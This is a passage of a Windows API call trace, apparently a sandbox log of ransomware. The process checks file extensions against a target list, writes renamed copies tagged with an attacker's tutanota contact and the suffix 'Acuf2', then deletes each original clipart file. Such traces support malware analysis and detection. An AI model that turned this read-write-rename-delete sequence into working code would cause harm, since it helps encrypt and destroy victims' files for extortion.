	[0268.676] lstrlenW (lpString=".doc") returned 4
	[0268.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.676] lstrlenW (lpString=".docx") returned 5
	[0268.676] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0268.676] lstrlenW (lpString=".pdf") returned 4
	[0268.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.676] lstrlenW (lpString=".xls") returned 4
	[0268.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.676] lstrlenW (lpString=".xlsx") returned 5
	[0268.676] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0268.676] lstrlenW (lpString=".ppt") returned 4
	[0268.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63
	[0268.676] lstrlenW (lpString=".zip") returned 4
	[0268.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.676] lstrlenW (lpString=".rar") returned 4
	[0268.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.676] lstrlenW (lpString=".bz2") returned 4
	[0268.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.676] lstrlenW (lpString=".7z") returned 3
	[0268.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63
	[0268.676] lstrlenW (lpString=".dbf") returned 4
	[0268.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63
	[0268.676] lstrlenW (lpString=".1cd") returned 4
	[0268.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63
	[0268.676] lstrlenW (lpString=".jpg") returned 4
	[0268.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.986] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.986] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0268.986] GetLastError () returned 0x0
	[0268.986] ReadFile (in: hFile=0x218, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xd04, lpOverlapped=0x0) returned 1
	[0269.000] WriteFile (in: hFile=0x36c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xd10, lpOverlapped=0x0) returned 1
	[0269.000] ReadFile (in: hFile=0x218, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.000] WriteFile (in: hFile=0x36c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.000] SetEndOfFile (hFile=0x36c) returned 1
	[0269.000] CloseHandle (hObject=0x36c) returned 1
	[0269.001] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.001] SetEndOfFile (hFile=0x218) returned 1
	[0269.002] CloseHandle (hObject=0x218) returned 1
	[0269.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf")) returned 1
	[0269.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63
	[0269.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63
	[0269.003] lstrlenW (lpString=".doc") returned 4
	[0269.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0269.003] lstrlenW (lpString=".docx") returned 5
	[0269.003] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0269.003] lstrlenW (lpString=".pdf") returned 4
	[0269.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0269.003] lstrlenW (lpString=".xls") returned 4
	[0269.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0269.003] lstrlenW (lpString=".xlsx") returned 5
	[0269.003] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0269.003] lstrlenW (lpString=".ppt") returned 4
	[0269.003] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0269.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63
	[0269.003] lstrlenW (lpString=".zip") returned 4
	[0269.003] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0269.003] lstrlenW (lpString=".rar") returned 4
	[0269.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0269.004] lstrlenW (lpString=".bz2") returned 4
	[0269.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0269.004] lstrlenW (lpString=".7z") returned 3
	[0269.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0269.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63
	[0269.004] lstrlenW (lpString=".dbf") returned 4
	[0269.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0269.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63
	[0269.004] lstrlenW (lpString=".1cd") returned 4
	[0269.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0269.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63
	[0269.004] lstrlenW (lpString=".jpg") returned 4
	[0269.004] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0269.244] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=42050) returned 1
	[0269.244] CloseHandle (hObject=0x378) returned 1
	[0269.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf")) returned 0x20
	[0269.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0269.347] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.347] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0269.347] GetLastError () returned 0x0
	[0269.347] ReadFile (in: hFile=0x32c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xa442, lpOverlapped=0x0) returned 1
	[0269.487] WriteFile (in: hFile=0x380, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xa450, lpOverlapped=0x0) returned 1
	[0269.488] ReadFile (in: hFile=0x32c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.488] WriteFile (in: hFile=0x380, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.489] SetEndOfFile (hFile=0x380) returned 1
	[0269.489] CloseHandle (hObject=0x380) returned 1
	[0269.489] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.489] SetEndOfFile (hFile=0x32c) returned 1
	[0269.491] CloseHandle (hObject=0x32c) returned 1
	[0269.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf")) returned 1
	[0269.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63
	[0269.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63
	[0269.676] lstrlenW (lpString=".doc") returned 4
	[0269.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0269.676] lstrlenW (lpString=".docx") returned 5
	[0269.676] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0269.676] lstrlenW (lpString=".pdf") returned 4
	[0269.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0269.676] lstrlenW (lpString=".xls") returned 4
	[0269.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0269.676] lstrlenW (lpString=".xlsx") returned 5
	[0269.676] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0269.676] lstrlenW (lpString=".ppt") returned 4
	[0269.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0269.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63
	[0269.676] lstrlenW (lpString=".zip") returned 4
	[0269.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0269.676] lstrlenW (lpString=".rar") returned 4
	[0269.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0269.676] lstrlenW (lpString=".bz2") returned 4
	[0269.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0269.676] lstrlenW (lpString=".7z") returned 3
	[0269.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0269.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63
	[0269.677] lstrlenW (lpString=".dbf") returned 4
	[0269.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0269.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63
	[0269.677] lstrlenW (lpString=".1cd") returned 4
	[0269.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0269.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63
	[0269.677] lstrlenW (lpString=".jpg") returned 4
	[0269.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0269.763] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.763] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0269.763] GetLastError () returned 0x0
	[0269.764] ReadFile (in: hFile=0x358, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x6630, lpOverlapped=0x0) returned 1
	[0269.811] WriteFile (in: hFile=0x334, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x6640, lpOverlapped=0x0) returned 1
	[0269.812] ReadFile (in: hFile=0x358, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.812] WriteFile (in: hFile=0x334, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.812] SetEndOfFile (hFile=0x334) returned 1
	[0269.812] CloseHandle (hObject=0x334) returned 1
	[0269.812] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.812] SetEndOfFile (hFile=0x358) returned 1
	[0269.815] CloseHandle (hObject=0x358) returned 1
	[0269.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.815] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf")) returned 1
	[0269.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63
	[0269.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63
	[0269.815] lstrlenW (lpString=".doc") returned 4
	[0269.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0269.815] lstrlenW (lpString=".docx") returned 5
	[0269.815] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0269.815] lstrlenW (lpString=".pdf") returned 4
	[0269.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0269.815] lstrlenW (lpString=".xls") returned 4
	[0269.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0269.815] lstrlenW (lpString=".xlsx") returned 5
	[0269.815] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0269.815] lstrlenW (lpString=".ppt") returned 4
	[0269.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0269.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63
	[0269.816] lstrlenW (lpString=".zip") returned 4
	[0269.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0269.816] lstrlenW (lpString=".rar") returned 4
	[0269.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0269.816] lstrlenW (lpString=".bz2") returned 4
	[0269.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0269.816] lstrlenW (lpString=".7z") returned 3
	[0269.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0269.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63
	[0269.816] lstrlenW (lpString=".dbf") returned 4
	[0269.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0269.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63
	[0269.816] lstrlenW (lpString=".1cd") returned 4
	[0269.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0269.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63
	[0269.816] lstrlenW (lpString=".jpg") returned 4
	[0269.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0270.887] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=15145) returned 1
	[0270.887] CloseHandle (hObject=0x390) returned 1
	[0270.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg")) returned 0x20
	[0270.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0270.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0270.891] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.891] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0270.891] GetLastError () returned 0x0
	[0270.891] ReadFile (in: hFile=0x358, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x3b29, lpOverlapped=0x0) returned 1
	[0270.900] WriteFile (in: hFile=0x334, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x3b30, lpOverlapped=0x0) returned 1
	[0270.901] ReadFile (in: hFile=0x358, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0270.901] WriteFile (in: hFile=0x334, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0270.901] SetEndOfFile (hFile=0x334) returned 1
	[0271.339] CloseHandle (hObject=0x334) returned 1
	[0271.339] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.339] SetEndOfFile (hFile=0x358) returned 1
	[0271.341] CloseHandle (hObject=0x358) returned 1
	[0271.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg")) returned 1
	[0271.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63
	[0271.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63
	[0271.345] lstrlenW (lpString=".doc") returned 4
	[0271.345] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0271.345] lstrlenW (lpString=".docx") returned 5
	[0271.345] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0271.345] lstrlenW (lpString=".pdf") returned 4
	[0271.345] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0271.345] lstrlenW (lpString=".xls") returned 4
	[0271.345] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0271.346] lstrlenW (lpString=".xlsx") returned 5
	[0271.346] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0271.346] lstrlenW (lpString=".ppt") returned 4
	[0271.346] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0271.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63
	[0271.346] lstrlenW (lpString=".zip") returned 4
	[0271.346] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0271.346] lstrlenW (lpString=".rar") returned 4
	[0271.346] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0271.346] lstrlenW (lpString=".bz2") returned 4
	[0271.346] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0271.346] lstrlenW (lpString=".7z") returned 3
	[0271.346] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0271.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63
	[0271.346] lstrlenW (lpString=".dbf") returned 4
	[0271.346] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0271.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63
	[0271.346] lstrlenW (lpString=".1cd") returned 4
	[0271.346] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0271.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63
	[0271.346] lstrlenW (lpString=".jpg") returned 4
	[0271.346] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0271.540] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.540] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0271.541] GetLastError () returned 0x0
	[0271.541] ReadFile (in: hFile=0x360, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1016, lpOverlapped=0x0) returned 1
	[0271.549] WriteFile (in: hFile=0x28c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1020, lpOverlapped=0x0) returned 1
	[0271.550] ReadFile (in: hFile=0x360, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.550] WriteFile (in: hFile=0x28c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.550] SetEndOfFile (hFile=0x28c) returned 1
	[0271.550] CloseHandle (hObject=0x28c) returned 1
	[0271.550] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.550] SetEndOfFile (hFile=0x360) returned 1
	[0271.552] CloseHandle (hObject=0x360) returned 1
	[0271.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.552] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf")) returned 1
